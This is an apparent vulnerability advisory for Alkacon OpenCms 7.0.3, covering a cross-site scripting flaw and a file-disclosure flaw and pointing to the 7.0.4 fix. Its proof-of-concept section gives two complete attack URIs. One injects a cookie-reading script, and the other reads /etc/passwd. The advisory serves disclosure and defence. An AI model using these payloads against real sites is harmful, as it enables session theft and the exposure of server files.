Alkacon OpenCms Multiple Input Validation Vulnerabilities

BID:28152

Info

Alkacon OpenCms Multiple Input Validation Vulnerabilities

Bugtraq ID: 28152
Class: Input Validation Error
CVE: CVE-2008-1301
CVE-2008-1300
Remote: Yes
Local: No
Published: Mar 08 2008 12:00AM
Updated: Jul 06 2016 02:17PM
Credit: nnposter is credited with the discovery of these vulnerabilities.
Vulnerable: Alkacon OpenCMS 7.0.3
Not Vulnerable: Alkacon OpenCMS 7.0.4

Discussion

Alkacon OpenCms Multiple Input Validation Vulnerabilities

Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected.

Exploit / POC

Alkacon OpenCms Multiple Input Validation Vulnerabilities

An attacker can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting victim into following a malicious URI.

The following proof-of-concept URIs are available:

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%2Fetc%2Fpasswd

Solution / Fix

Alkacon OpenCms Multiple Input Validation Vulnerabilities

Solution:
The vendor released OpenCMS 7.0.4 to address this issue. Please see the references for more information.


Alkacon OpenCMS 7.0.3

References

Alkacon OpenCms Multiple Input Validation Vulnerabilities

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